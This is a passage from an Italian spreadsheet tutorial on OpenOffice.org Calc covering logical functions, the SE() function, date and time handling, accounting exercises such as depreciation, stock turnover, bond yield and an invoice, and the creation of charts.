Nelle celle delle zone C4:C9 e G4:G9 vanno messe delle formule composte solo da espressioni di confronto. Per esempio, la cella C4 deve contenere l'espressione '**`=B1=B2`**' e la cella G9 deve contenere l'espressione '**`=F1>=F2`**'.

Questo esercizio serve soprattutto a vedere come avvengono i confronti numerici rispetto a quelli relativi a stringhe: nel secondo caso, il risultato di minore o maggiore dipende dall'ordine lessicografico delle stringhe.

122.12.4 Operatori logici

Nel foglio elettronico, gli operatori logici (AND, OR, NOT) si rappresentano attraverso funzioni, le quali hanno però, tradizionalmente, il problema di essere state tradotte. Per esempio, in italiano, invece di trovare la funzione AND(), si trova la funzione E(). La tabella successiva riepiloga le funzioni che sostituiscono gli operatori logici comuni, nella versione italiana, valida per OpenOffice.org Calc e anche altri fogli elettronici comuni.

Tabella 122.145. Elenco delle funzioni logiche, comuni nei fogli elettronici.

Espressione	Descrizione
`E(`*x*`;`*y*`[;`*z*`]...)`	AND. Restituisce *Vero* se tutti gli argomenti hanno un valore pari a *Vero*. Gli argomenti devono essere almeno due.
`O(`*x*`;`*y*`[;`*z*`]...)`	OR. Restituisce *Vero* se almeno uno degli argomenti ha valore pari a *Vero*. Gli argomenti devono essere almeno due.
`NON(`*x*`)`	NOT. Restituisce *Vero* se l'argomento ha un valore pari a *Falso* e viceversa.
`VERO()`	Restituisce il valore corrispondente a *Vero*.
`FALSO()`	Restituisce il valore corrispondente a *Falso*.

122.12.5 Esercizio

Si vuole una tabella della verità, come lo schema seguente, per fare pratica con le funzioni che producono risultati logici.

Nelle celle della zona A2:B5 vanno inserite le funzioni ***VERO()*** e ***FALSO()***, in modo da produrre il valore corrispondente. Nelle celle della zona C2:F5 vanno messe delle funzioni logiche appropriate, per produrre il risultato che si vede nella figura. Per esempio, nella cella C2 va messa l'espressione '**`=E(A2;B2)`**', mentre nella cella F5 va messa l'espressione '**`=NON(B5)`**'.

	A	B	C	D	E	F
1	A	B	A AND B	A OR B	NOT A	NOT B
2	FALSO	FALSO	FALSO	FALSO	VERO	VERO
3	FALSO	VERO	FALSO	VERO	VERO	FALSO
4	VERO	FALSO	FALSO	VERO	FALSO	VERO
5	VERO	VERO	VERO	VERO	FALSO	FALSO

122.12.6 Funzione «SE()»

La funzione ***SE()*** consente di scegliere tra due espressioni, da valutare per produrre un risultato, in base a una condizione. La funzione chiede tre argomenti: l'espressione che rappresenta la condizione; l'espressione da valutare se la condizione si avvera; l'espressione da valutare se invece la condizione non si avvera:

`SE(`***condizione*** `;` ***risultato_se_vero*** `;` ***risultato_se_falso***`)`

Per esempio, '**`=SE(VERO();123;321)`**', produce come risultato il valore numerico 123, perché la condizione, rappresentata a sua volta dalla funzione ***VERO()***, è sempre vera. Per converso, '**`=SE(FALSO();"ciao";"addio")`**' produce come risultato il testo '**`addio`**', perché la condizione, rappresentata dalla funzione ***FALSO()***, non si avvera mai.

Quando da una certa situazione possono scaturire diverse ipotesi, la funzione ***SE()*** può essere usata annidando altre funzioni ***SE()*** al suo interno. Per esempio si potrebbe scrivere:

'**=SE(A1<=0;"ERRORE";SE(A1>100;"troppo";"va bene"))**'. In questo caso, si considera il contenuto della cella A1, il quale non deve essere minore o uguale a zero, perché altrimenti si tratta di un errore; se poi il valore è superiore a 100 ci segnala che è troppo alto, mentre un valore inferiore o uguale va bene (per qualche scopo).

122.12.7 Esercizio

Si realizzi uno schema simile a quello mostrato nella figura successiva, dove le celle delle zone A4:B9 e D4:E9 sono fuse orizzontalmente e contengono delle espressioni per ottenere i messaggi che si vedono, ma in modo automatico, in base ai valori inseriti in B1:B2 e in E1:E2.

A titolo di esempio nella cella A4 ci può essere l'espressione '**=SE(B1=B2;"A è uguale a B";"--")**', mentre nella cella D9 ci può essere l'espressione '**=SE(E1>=E2;"A è maggiore o uguale a B";"--")**'.

	A	B	C	D	E
1	A:	99		A:	ciao ciao
2	B:	124		B:	bye bye
3					
4	--			--	
5	A è diverso da B			A è diverso da B	
6	A è minore di B			--	
7	--			A è maggiore di B	
8	A è minore o uguale a B			--	
9	--			A è maggiore o uguale a B	

122.12.8 Esercizio

Si riprenda il file dell'esercizio 122.6.7 e lo si salvi con un nome differente. Nel nuovo file si vuole modificare la formula per il calcolo della quota di ammortamento, in modo che questo sia corretto anche quando si raggiunge o si supera la fine del periodo di ammortamento.

	A	B	C	D	E
1	piano di ammortamento				
2					
3	anno	costo storico	percentuale di ammortamento	quota di ammortamento	fondo ammortamento
4					
5	1	€ 20.000,00	11%	€ 2.200,00	€ 2.200,00
6	2	€ 20.000,00	11%	€ 2.200,00	€ 4.400,00
7	3	€ 20.000,00	11%	€ 2.200,00	€ 6.600,00
8	4	€ 20.000,00	11%	€ 2.200,00	€ 8.800,00
9	5	€ 20.000,00	11%	€ 2.200,00	€ 11.000,00
10	6	€ 20.000,00	11%	€ 2.200,00	€ 13.200,00
11	7	€ 20.000,00	11%	€ 2.200,00	€ 15.400,00
12	8	€ 20.000,00	11%	€ 2.200,00	€ 17.600,00
13	9	€ 20.000,00	11%	€ 2.200,00	€ 19.800,00
14	10	€ 20.000,00	11%	€ 200,00	€ 20.000,00
15	11	€ 20.000,00	11%	€ 0,00	€ 20.000,00

122.13 Date e orari

Generalmente si gestiscono le informazioni legate al tempo, come una quantità di unità temporali prese a partire da una certa epoca di riferimento (l'ora zero di una certa data). Nel caso dei fogli elettronici comuni, l'epoca di riferimento è tradizionalmente l'ora zero del 1 gennaio 1900, oppure una data molto vicina, e le unità temporali sono di giorni interi, così che la rappresentazione degli orari richiede l'uso di valori decimali.

Figura 122.149. Esempio di come OpenOffice.org Calc rappresenta internamente il momento corrispondente al giorno 31 dicembre 2000, alle ore 23:59:59, ovvero un secondo prima dello scattare della mezzanotte.

36891,9999884259

31 dicembre 2000 23:59:59

Nell'esempio della figura si può notare che l'informazione legata al giorno si esprime con un valore intero; pertanto, il 31 dicembre 2000 corrisponde al numero 36891, essendo trascorsa quella quantità di giorni dall'epoca di riferimento. Per quanto riguarda l'orario, questo si esprime con la parte decimale, la quale rappresenta una frazione proporzionale di un giorno

intero. Eventualmente, se il foglio elettronico utilizzato lo consente, si potrebbero rappresentare date in un periodo precedente all'epoca di riferimento; tali date si esprimono internamente come valori numerici negativi. Tuttavia, l'indicazione di date precedenti al 1900, può essere un problema, a causa del fatto che la riforma gregoriana è entrata in vigore in momenti diversi nei vari paesi occidentali.

122.13.1 1900: anno bisestile?

Il metodo di gestione del tempo come quantità di giorni trascorsi a partire dall'epoca di riferimento, costituita dal 1 gennaio 1900, deriva dall'impostazione di MS-Excel. A questo proposito vanno fatte due osservazioni importanti.

1. L'epoca di riferimento per MS-Excel è sì il 1 gennaio 1900, ma questa corrisponde al numero uno, mentre lo zero e i valori negativi non sono validi; pertanto **non si possono gestire date antecedenti all'epoca**.
2. Per MS-Excel, il 1900 è un anno bisestile, pertanto esisterebbe il giorno 29 febbraio 1900. In realtà, secondo la riforma gregoriana (del 1582) questo giorno non esiste, perché gli anni divisibili per 100, ma non divisibili per 400, non sono bisestili.

A causa di questo errore, OpenOffice.org Calc, per mantenere una buona compatibilità con le convenzioni di MS-Excel e di altri fogli elettronici, utilizza come epoca di riferimento il giorno 31 dicembre 1899, ma consente anche di rappresentare date precedenti. Pertanto, lo zero corrisponde al 30 dicembre 1899, −1 corrisponde al 29 dicembre 1899, e così di seguito.

122.13.2 Inserimento di date e orari

L'inserimento di una data, o di un orario, o di entrambe le cose, è una cosa delicata, in quanto dipende molto dalla configurazione linguistica locale. Nella configurazione italiana, l'inserimento di costanti numeriche che esprimono date può avvenire separando i loro componenti con la barra obliqua normale. Per esempio, '**`11/12`**' è il giorno 11 dicembre dell'anno in corso, '**`11/12/2000`**' è il giorno 11 dicembre dell'anno 2000; così, '**`11.12`**' sono le ore 11:12:00, mentre '**`11.12.13`**' sono le ore 11:12:13.

Va osservato, però, che in un'espressione non si possono usare tali costanti per esprimere le date e gli orari; pertanto, in quei casi, diventa necessario avvalersi di funzioni che producono il risultato desiderato, partendo da informazioni numeriche comuni. Per esempio, si può scrivere '**`=DATA(2000;12;11)`**' per introdurre la data del 11 dicembre 2000, si può scrivere '**`=ORARIO(11;12;13)`**' per inserire le ore 11:12:13, ma si può anche scrivere '**`=DATA(2000;12;11)+ORARIO(11;12;13)`**' per produrre la data del 12 dicembre 2000 alle ore 11:12:13.

Tabella 122.150. Funzioni fondamentali per l'inserimento di valori legati al tempo.

Espressione	Descrizione
`DATE(`***anno*** `,` ***mese*** `,` ***giorno***`)` `DATA(`***anno*** `;` ***mese*** `;` ***giorno***`)`	Data. Produce il valore corrispondente alla data specificata con gli argomenti.

Espressione	Descrizione

`TIME(`***ore*** `,` ***minuti*** `,` ***secondi***`)`
 	
`ORARIO(`***ore*** `;` ***minuti*** `;` ***secondi***`)`
	Orario. Produce il valore corrispondente all'orario specificato con gli argomenti.

Come per tutti i valori numerici, il formato di rappresentazione delle date e degli orari può essere controllato raggiungendo la maschera `Formato`, `Celle`, `Numeri`, selezionando la voce '**`Data`**', oppure '**`Orario`**':

122.13.3 Operazioni con le date e gli orari

Sapendo in che modo si rappresentano le date e gli orari, è possibile eseguire dei calcoli: sommando o sottraendo dei valori interi a una data, si ottiene una data successiva o antecedente, di quella tale quantità di giorni; calcolando la differenza tra due date, si ottiene la distanza in giorni. Per gli orari occorre un po' più di attenzione, in quanto un'unità oraria è pari a 1/24 (ovvero 0,041666666), mentre un minuto è pari a 1/24/60 (ovvero 0,000694444); tuttavia rimane semplice il calcolo di una differenza di tempo, tra un orario e un altro, purché nell'ambito dello stesso giorno.

Quando si fanno delle operazioni che coinvolgono date e orari, occorre sempre verificare il formato di rappresentazione del risultato, il quale potrebbe essere proposto in modo errato dal programma. Per esempio, se a una data si sommano o si sottraggono dei giorni, è auspicabile che il risultato sia rappresentato sempre come data; d'altro canto, quando si calcola la differenza tra due date, il risultato che esprime una quantità di giorni, va rappresentato come numero intero, puro e semplice.

122.13.4 Esercizio

Si vuole realizzare uno schema come quello seguente, nel quale si calcola l'indice di affidabilità del fornitore, tenendo presente che il ritardo medio del fornitore si calcola come:

$$\frac{\sum \frac{R}{T} \cdot I}{\sum I}$$

La lettera ***R*** rappresenta il ritardo di ogni singola consegna; ***T*** è il tempo a disposizione per la consegna; ***I*** è il valore della merce. L'elenco seguente descrive le formule da realizzare.

- Il tempo a disposizione è dato dal tempo che c'è tra la data dell'ordine e la data prevista di consegna.
- La formula dell'ultima colonna esprime il ritardo, diviso il tempo a disposizione per il valore della merce.
- Il ritardo medio si ottiene dividendo il totale dell'ultima colonna, per il totale del valore.

	A	B	C	D	E	F	G
1	indice di affidabilità del fornitore						
2	data ordine	data di consegna prevista	T tempo a disposizione	data di consegna effettiva	R giorni di ritardo	I valore complessivo della merce	R/T*I
3	01/03	10/03	9	13/03	3	€ 1.530,00	510,00
4	15/03	31/03	16	30/03	-1	€ 1.531,00	-95,69
5	30/03	10/04	11	15/04	5	€ 1.532,00	696,36
6	04/04	13/04	9	16/04	3	€ 1.533,00	511,00
7	25/04	14/05	19	19/05	5	€ 1.534,00	403,68
8	30/04	15/05	15	20/05	5	€ 1.535,00	511,67
9	01/05	18/05	17	21/05	3	€ 1.536,00	271,06
10					totali:	**€ 10.731,00**	**2808,09**
11						ritardo medio:	**0,26168**

122.13.5 Esercizio

Si vuole realizzare uno schema come quello successivo, per il calcolo della consistenza media di magazzino. La consistenza media di un certo periodo si calcola come la sommatoria del prodotto tra esistenza per i giorni di permanenza, diviso la quantità complessiva dei giorni:

$$\frac{\sum esistenza \cdot giorni_di_permanenza}{durata_complessiva_in_giorni}$$

Il primo carico può essere la giacenza iniziale all'inizio dell'anno. La durata dell'ultima giacenza vale fino alla fine del periodo considerato.

	A	B	C	D	E	F
1	consistenza media					
2	data	quantità caricata	quantità scaricata	esistenza	giorni di permanenza	esistenza X permanenza
3	01/07			1000	14	14000
4	15/07	123		1123	5	5615
5	20/07		234	889	41	36449
6	30/08	122		1011	16	16176
7	15/09		100	911	35	31885
8	20/10		345	566	12	6792
9	01/11		233	333	29	9657
10	30/11	1234		1567	15	23505
11	15/12		455	1112	16	17792
12	31/12	totali:	**1367**	totali:	**183**	**161871**
13					consistenza media:	**884,54**

122.13.6 Esercizio

Si aggiunga all'esercizio precedente il calcolo dell'indice di rotazione e della durata media di permanenza. L'indice di rotazione si ottiene dividendo la quantità complessiva scaricata per la consistenza media:

$$\frac{quantità_complessiva_scaricata}{consistenza_media}$$

La durata media di permanenza si ottiene dividendo il tempo di giacenza complessivo per l'indice di rotazione:

$$\frac{tempo_complessivo}{indice_di_rotazione}$$

	A	B	C	D	E	F
1	consistenza media, indice di rotazione, durata media di permanenza					
2	data	quantità caricata	quantità scaricata	esistenza	giorni di permanenza	esistenza X permanenza
3	01/07			1000	14	14000
4	15/07	123		1123	5	5615
5	20/07		234	889	41	36449
6	30/08	122		1011	16	16176
7	15/09		100	911	35	31885
8	20/10		345	566	12	6792
9	01/11		233	333	29	9657
10	30/11	1234		1567	15	23505
11	15/12		455	1112	16	17792
12	31/12	totali:	**1367**	totali:	**183**	**161871**
13					consistenza media:	**884,54**
14					indice di rotazione:	**1,55**
15					durata media di permanenza:	**118,41**

122.13.7 Esercizio

Si realizzi un modello per il calcolo del rendimento effettivo di un titolo con cedola annuale, secondo lo schema che viene mostrato nel seguito. Si osservi che le formule contenute nelle celle della colonna C vanno ottenute semplicemente copiando quelle corrispondenti della colonna B.

Per semplicità, si suppone che il valore di emissione sia sempre minore o al massimo uguale al 100 %, in modo da facilitare il calcolo dell'imposta sostitutiva.

	A	B	C
1	Calcolo del rendimento effettivo		
2		Titolo 1	Titolo 2
3	imposta sostitutiva	12,50%	12,50%
4	data odierna	18 mag 2005	18 mag 2005
5	data di emissione	19 gen 2003	15 mar 2004
6	data di rimborso	19 gen 2013	15 mar 2014
7	corso di emissione	99,50%	97,00%
8	rendimento	5,00%	4,50%
9	corso secco di acquisto	96,25%	92,70%
10	commissione bancaria	0,30%	0,30%
11			
12	scarto di emissione	0,50%	3,00%
13	tempo trascorso in giorni	850	429
14	durata complessiva in giorni	3653	3652
15	tempo rimanente	2803	3223
16	commissione bancaria riferita al corso secco di acquisto	0,28875%	0,27810%
17	imposta sul corso secco di acquisto per il periodo trascorso	0,01454%	0,04405%
18	costo percentuale di acquisto	96,52421%	92,93405%
19	interesse annuo netto	4,37500%	3,93750%
20	tasso effettivo	4,53254%	4,23688%
21	imposta sostitutiva sullo scarto di emissione	0,06250%	0,37500%
22	valore netto di rimborso percentuale	99,93750%	99,62500%
23	guadagno o perdita di capitale	3,41329%	6,69095%
24	guadagno o perdita riferita a un anno	0,44447%	0,75774%
25	tasso effettivo di rendimento con rimborso	**4,97701%**	**4,99462%**

Nella zona di celle B12:B25, vanno inserite delle formule; nella zona corrispondente C12:C25, le stesse formule vanno copiate orizzontalmente, lasciando che le coordinate siano adattate automaticamente alla nuova colonna. I calcoli da eseguire sono quelli seguenti, i quali si riferiscono ai dati del primo dei due titoli a confronto.

1. Lo scarto di emissione si ottiene come 1−***valore_emissione***. Quindi si tratta di 1−99,5 % = 0,5 %.
2. La commissione bancaria si calcola sul corso secco di acquisto, per cui si tratta di 96,25 % * 0,30 % = 0,28875 %.
3. L'imposta sostitutiva del periodo trascorso va sottratta. Si calcola sullo scarto di emissione in rapporto ai giorni trascorsi sul tempo totale del titolo: 0,5 % * 12,5 % * 850 / 3653 = 0,01454 %.
4. Il corso percentuale di acquisto si calcola sommando al corso secco di acquisto la commissione bancaria e sottraendo l'imposta sostitutiva dello scarto di acquisto: 96,25 % + 0,28875 % − 0,01455 % = 96,52421 %.
5. L'interesse annuo netto si ottiene sottraendo l'imposta sostitutiva: 5 % − (5 % * 12,5 %) = 4,37500 %.
6. Il tasso effettivo deve essere calcolato sul costo di acquisto del titolo: 4,37500 % / 96,52420 % = 4,53254 %.
7. L'imposta sostitutiva sullo scarto di emissione complessivo, si ottiene come: 0,5 % * 12,50 % = 0,06250 %.
8. Il valore netto di rimborso dei titoli si ottiene sottraendo l'imposta sostitutiva sullo scarto di emissione: 100 % − 0,06250 % = 99,93750 %.
9. Il guadagno o la perdita netta di capitale si ottiene sottraendo al valore netto di rimborso il valore di acquisto del titolo: 99,93750 % − 96,52421 % = 3,41329 %.
10. Il guadagno o la perdita di capitale va suddivisa nell'arco di un anno, conoscendo il tempo rimanente prima della scadenza del titolo: 3,41329 % * 365/2803 = 0,44447 %.
11. Il tasso effettivo di rendimento con rimborso si ottiene sommando il tasso effettivo di rendimento semplice al guadagno o alla perdita di capitale riferita all'anno: 4,53254 % + 0,44447 % = 4,97701 %.

122.13.8 Verifica

Si riapra il file '`fattura-05.ods`' creato nell'esercitazione 122.11.9 e lo si salvi con il nome '`fattura-06.ods`'.

Il file '`fattura-06.ods`' va modificato inserendo i dati evidenziati da delle frecce sovraimposte sulla figura (ma le frecce non vanno disegnate). In modo particolare: va aggiunto il totale della fattura, ottenuto sommando tutta la zona I23:I37; va corretto il calcolo dello sconto sul totale (cella I31), partendo dalla somma degli imponibili e sottraendo la zona I23:I30 (si può vedere che il risultato cambia effettivamente di un eurocent); infine va determinata la data di scadenza, per ora sommando 30 giorni alla data di emissione della fattura.

Al termine delle modifiche, dopo avere salvato il nuovo lavoro, si deve procedere a produrre due stampe: una «normale» e un'altra in cui si visualizza la griglia delle celle, l'intestazione di riga e di colonna, e le formule.

Figura 122.161. Stampa «normale». La scritta sovraimposta, contenente il nome del file, non deve apparire, così come non devono apparire le frecce che indicano le celle in cui occorre intervenire per le modifiche.

fattura-06.ods

codice cliente:

CF o PI:

Indirizzo di destinazione

data fattura	fattura n.
31 mar 2009	123

data e orario consegna o inizio trasporto

causale del trasporto

aspetto esteriore dei beni | n. colli

ordine		documento di trasporto		porto	trasporto a mezzo del
numero	data	numero	data		
150	1 mar 2009	111	15 mar 2009		

spese di trasporto	spese di imballo	pagamento
		rimessa diretta 30 giorni d.f.

articolo	descrizione	quantità	sconto	sconto	prezzo	importo	IVA
aaa	Merce Alfa	123,00	3,00%	2,00%	1,57	183,57	4%
bbb	Merce Bravo	234,00	5,00%		2,89	642,45	4%
ccc	Merce Charlie	17,00	5,70%	1,00%	12,34	195,84	10%
ddd	Merce Delta	11,50			10,00	115,00	10%
eee	Merce Eco	12,30		3,00%	11,50	137,21	20%
fff	Merce Foxtrot	100,00	2,00%	3,00%	1,89	179,66	20%
ggg	Merce Golf	321,00		7,00%	2,00	597,06	20%
hhh	Merce Hotel	23,00	3,00%		5,00	111,55	20%
				sconto sul totale:	5,00%	-108,11	

riepilogo IVA				
aliquota	imponibile	IVA	totale spese non documentate	
			totale IVA	255,77
4%	784,72	31,39	spese documentate escluse dalla base imponibile	
10%	295,30	29,53	interessi	
20%	974,21	194,85	cauzioni	
aliquota	imponibile	IVA	bolli	
4%				
10%				
20%				

scadenza fattura: 30 apr 2009

totale fattura: 2 310,00

impresa incaricata del trasporto | annotazioni

firma del conducente o del vettore | firma del destinatario

contributo CONAI assolto ove dovuto

Figura 122.162. Stampa con la griglia e le intestazioni di riga e di colonna. La scritta sovraimposta, contenente il nome del file, non deve apparire, così come non devono apparire le frecce che indicano le celle in cui occorre intervenire per le modifiche. Nella stampa che si consegna, devono apparire anche le formule, eventualmente rimpicciolite se necessario.

	A	B	C	D	E	F	G	H	I	J	K
1		fattura-06.ods					codice cliente:				
2											
3											
4											
5							CF o PI:				
6										Indirizzo di destinazione	
7											
8											
9		data fattura		fattura n.							
10		31 mar 2009		123							
11		data e orario consegna o inizio trasporto									
12											
13		causale del trasporto									
14											
15		aspetto esteriore dei beni			n. colli						
16	--										--
17		ordine		documento di trasporto			porto		trasporto a mezzo del		
18		numero	data	numero	data						
19		150	1 mar 2009	111	15 mar 2009						
20		spese di trasporto			spese di imballo			pagamento			
21									rimessa diretta 30 giorni d.f.		
22		articolo	descrizione		quantità	sconto	sconto	prezzo	importo	IVA	
23		aaa	Merce Alfa		123,00	3,00%	2,00%	1,57	183,57	4%	
24		bbb	Merce Bravo		234,00	5,00%		2,89	642,45	4%	
25		ccc	Merce Charlie		17,00	5,70%	1,00%	12,34	195,84	10%	
26		ddd	Merce Delta		11,50			10,00	115,00	10%	
27		eee	Merce Eco		12,30		3,00%	11,50	137,21	20%	
28		fff	Merce Foxtrot		100,00	2,00%	3,00%	1,89	179,66	20%	
29		ggg	Merce Golf		321,00		7,00%	2,00	597,06	20%	
30		hhh	Merce Hotel		23,00	3,00%		5,00	111,55	20%	
31							sconto sul totale:	5,00%	-108,11		
32		riepilogo IVA				totale spese non documentate					
33		aliquota	imponibile	IVA		totale IVA			255,77		
34	--	4%	784,72	31,39		spese documentate escluse dalla base imponibile					--
35		10%	295,30	29,53		interessi					
36		20%	974,21	194,85		cauzioni					
37		aliquota	imponibile	IVA		bolli					
38		4%				scadenza fattura		2 310,00		totale fattura	
39		10%				30 apr 2009					
40		20%									
41		impresa incaricata del trasporto				annotazioni					
42											
43											
44											
45		firma del conducente o del vettore					firma del destinatario				
46											
47		contributo CONAI assolto ove dovuto									

122.14 Grafici

Per rappresentare sinteticamente e in modo visivo i dati contenuti all'interno di tabelle, si usano generalmente dei grafici. Questi possono essere disegnati in vari modi; i tipi più comuni sono costituiti dai grafici lineari, a istogramma e a torta.

122.14.1 Componenti di un grafico comune

Il grafico che si produce con un foglio elettronico è suddivisibile generalmente in componenti, costituiti fondamentalmente da quelli che si possono vedere nella figura successiva.

Figura 122.163. Elementi che compongono un grafico tipico.

Per OpenOffice.org Calc, i componenti del grafico sono «oggetti», i quali sono tutti opzionali e possono avere degli attributi più o meno controllabili. Per esempio, nella figura si vede la legenda incorniciata da un bordo; questo bordo è facoltativo e potrebbe essere di spessore, colore e tratteggio differente.

122.14.2 Creazione di un grafico con OpenOffice.org Calc

Per creare un grafico si parte generalmente dalla selezione di un insieme di dati, organizzato in tabella, come nel caso dell'esempio successivo, dove si mettono a confronto le quantità prodotte di un certo bene, nell'arco di una certa settimana:

	A	B	C	D
1	produzione			
2	giorno	reparto A	reparto B	totale dei reparti
3	lun	111	70	181
4	mar	120	75	195
5	mer	100	67	167
6	gio	105	73	178
7	ven	115	69	184
8	sab	95	61	156
9	totali	**646**	**415**	**1061**

Per produrre il grafico si selezionano i dati che servono: non si tratta necessariamente di tutti i dati; in questo caso sono utili i dati dei due reparti, ma senza i totali. Si decide di selezionare la zona A2:C8, come si vede nella figura successiva.

A2:C8 = 61

	A	B	C	D
1	produzione			
2	giorno	reparto A	reparto B	totale dei reparti
3	lun	111	70	181
4	mar	120	75	195
5	mer	100	67	167
6	gio	105	73	178
7	ven	115	69	184
8	sab	95	61	156
9	totali	**646**	**415**	**1061**

A questo punto si deve selezionare dal menù la voce `Inserisci`, `Grafico`, oppure si deve selezionare il bottone . Si ottiene una finestra per la definizione guidata delle caratteristiche del grafico.

Passi
1.Tipo di grafico
2.Area dati
3.Serie di dati
4.Elementi del grafico

Selezionate un tipo di grafico
Colonna
Barra
Torta
Area del grafico
Linea
XY (Dispersione)
Rete
Azioni
Colonna e linea
Normale
Aspetto 3D
Semplice
Forma
Rettangolo
Cilindro
Cono
Piramide
? <<Indietro Avanti >> Fine Annulla

La prima cosa da decidere è il tipo di grafico, come si vede nella figura appena apparsa. Nel caso dell'esempio, viene scelto il grafico più comune, a istogramma (precisamente a colonna). Si procede quindi con il bottone [AVANTI >>] e si passa alla fase successiva: la definizione dell'area dati.

Passi
1.Tipo di grafico
2.Area dati
3.Serie di dati
4.Elementi del grafico

Scegliete un'area dati
Area dati
$grafico.$A$2:$C$8
Serie di dati in riga
Serie di dati in colonna
Prima riga come didascalia
Prima colonna come didascalia
? <<Indietro Avanti >> Fine Annulla

In questa fase, se non è ancora stato fatto, è possibile passare al foglio di lavoro per selezionare la zona dei dati. Nella figura appare già la selezione fatta in precedenza e si può osservare che, in questo caso, la scheda (il foglio) è denominata proprio '`grafico`'. Ma oltre alla zona dei dati, occorre chiarire come questi sono orientati: per riga o per colonna. Inoltre, occorre chiarire se la prima riga o la prima colonna, o entrambe le cose, rappresentano delle didascalie per gli assi cartesiani. Nell'esempio, sia la prima riga, sia la prima colonna lo sono, pertanto occorre correggere le impostazioni:

Si continua sempre con il bottone AVANTI >> e si passa alla verifica delle serie di dati.

Nel grafico in corso di realizzazione, le serie di dati sono due, costituite dalle colonne che contengono i valori della produzione dei due reparti. Nella maschera che appare in questa fase, è possibile ritoccare eventualmente l'indicazione di dove si trovano i titoli della serie di valori e di dove si trovano i valori veri e propri delle serie stesse. Si prosegue sempre con il bottone AVANTI >> e si passa alla definizione degli elementi aggiuntivi del grafico: la figura successiva mostra la maschera già compilata con un titolo principale e i titoli dei due assi:

Come si vede, da questa maschera è possibile controllare la presenza e la collocazione della legenda (ciò che spiega come attribuire il disegno alle serie di valori); inoltre si può controllare la presenza di una griglia, che può essere assente del tutto, oppure può essere composta soltanto da linee orizzontali o verticali. Si conclude con il bottone [FINE]. Il grafico descritto qui è lo stesso usato all'inizio del capitolo per descrivere ciò che compone questi oggetti.

Una volta confermato il procedimento di creazione del grafico, questo si piazza sulla scheda (il foglio) su cui ci si trovava inizialmente, in una posizione non meglio specificata dell'area di lavoro visibile. Si passa quindi a una fase di aggiustamento che può essere svolta solo successivamente alla creazione. La figura mostra il grafico appena creato:

Di norma si fa un clic con il puntatore del mouse in una posizione esterna al grafico, sul foglio di lavoro, e il grafico si «fonde» sopra il foglio stesso:

Se ciò che si vuole è spostare il grafico o adattarne le dimensioni, occorre selezionarlo, per poterlo trattare come se fosse una figura. Per fare questo occorre un clic sulla superficie del grafico. Si può osservare che gli angoli della sua superficie appaiono evidenziati in modo diverso rispetto allo stato in cui si trovava subito dopo la sua creazione:

Pertanto, per spostare o ridimensionare l'immagine di un grafico, occorre prima selezionarlo nel modo che appare nella figura precedente, ma per intervenire nuovamente nelle sue componenti, occorre invece selezionarlo con un clic doppio: si ottiene di nuovo il grafico nello stato in cui si trovava appena creato.

Quando il grafico è in questa modalità operativa, è possibile selezionare un componente interno, per spostarlo, deformarlo, o per modificarne le caratteristiche. Nella figura successiva si vede la selezione della didascalia, che viene spostata rispetto alla sua collocazione originaria:

Facendo un clic con il tasto destro del mouse, sopra il componente del grafico che si desidera modificare, si ottiene un menù a tendina, come si vede nella figura successiva, dove si sta intervenendo sempre sulla didascalia:

Selezionando la voce `Proprietà oggetto`, si ottiene una finestra con un insieme di maschere contenenti opzioni legate all'oggetto del grafico (in alternativa, dal menù generale, si accede alla stessa funzione da `Formato`, `Proprietà oggetto`). Qui si vede l'aggiunta di un bordo di colore blu:

Ecco il risultato:

122.14.3 Organizzazione dei dati: per riga o per colonna

Durante la creazione guidata di un grafico, una cosa molto importante da definire è il tipo di organizzazione dei dati: per riga o per colonna. A volte il programma è in grado di determinarlo correttamente in modo automatico, altre volte invece ciò non avviene. Si osservi l'esempio iniziale, sviluppato in due modi: prima per colonna, poi per riga. I dati rappresentati sono gli stessi.

Figura 122.179. Gli stessi dati, a sinistra organizzati per colonna; a destra organizzati per riga.

	A	B	C	D	E	F	G	H	I	J	K	L	M
1	produzione					produzione							
2	giorno	reparto A	reparto B	totale dei reparti		giorno	lun	mar	mer	gio	ven	sab	
3	lun	111	70	181		reparto A	111	120	100	105	115	95	646
4	mar	120	75	195		reparto B	70	75	67	73	69	61	415
5	mer	100	67	167		totale dei reparti	181	195	167	178	184	156	1061
6	gio	105	73	178									
7	ven	115	69	184									
8	sab	95	61	156									
9	totali	**646**	**415**	**1061**									

122.14.4 Area dei dati discontinua

L'area dei dati, necessaria a costruire un grafico, può essere discontinua, purché complessivamente componga un insieme di dati omogeneo e compatibile con la costruzione del grafico stesso. Per assurdo, si propone lo stesso esempio già visto in precedenza nel capitolo, ma elaborato in modo fantasioso:

	A	B	C	D	E	F
1	giorno	produzione				reparto B
2	lun					70
3	mar				reparto A	75
4	mer		totale dei reparti		111	67
5	gio		181		120	73
6	ven		195		100	69
7	sab		167		105	61
8	totali		178		115	**415**
9			184		95	
10			156		**646**	
11			**1061**			

Prima di richiedere la creazione guidata del grafico, vanno selezionate le zone dell'area dati, le quali, essendo discontinue, vanno evidenziate con l'aiuto del tasto [*Ctrl*]:

F7 | f_x Σ = | 61

	A	B	C	D	E	F
1	giorno	produzione				reparto B
2	lun					70
3	mar				reparto A	75
4	mer		totale dei reparti		111	67
5	gio		181		120	73
6	ven		195		100	69
7	sab		167		105	61
8	totali		178		115	**415**
9			184		95	
10			156		**646**	
11			**1061**			

Ecco quindi cosa appare quando è il momento di precisare l'area dati:

Passi

1. Tipo di grafico
2. Area dati
3. Serie di dati
4. Elementi del grafico

Scegliete un'area dati

Area dati

$grafico2.$A$1:$A$7;$grafico2.$E$3:$E$9;$grafico2.$F$1:$F$7

( ) Serie di dati in riga
(•) Serie di dati in colonna

[x] Prima riga come didascalia
[x] Prima colonna come didascalia

? | <<Indietro | Avanti >> | Fine | Annulla

122.14.5 Grafici a istogramma

Il grafico a istogramma (o a colonna, o a barre), permette di rappresentare dei valori numerici attraverso delle barre, verticali od orizzontali, quando nell'asse x, i dati possono essere di qualunque tipo, anche non numerico, e non hanno necessariamente un ordine o una sequenza ben precisa.

bambini	123
bambine	150
uomini	95
donne	100

I grafici a istogramma vengono rappresentati preferibilmente a colonna (barre verticali) e spesso in forma tridimensionale, cosa che non aggiunge in sé alcuna informazione, ma crea semplicemente un effetto grafico più piacevole, dando l'illusione di una cosa più importante.

Quando le serie di valori sono più di una, si pone la questione di come abbinare tali valori. Se i valori sono da confrontare, il grafico deve mettere più colonne affiancate per ogni dato dell'asse x (di norma quello orizzontale), in modo da poterne percepire la differenza. Va osservato che in presenza di più serie di valori, diventa necessario fare apparire una didascalia, in modo da poterli distinguere e qualificare.

	prima	dopo
bambini	123	136
bambine	150	263
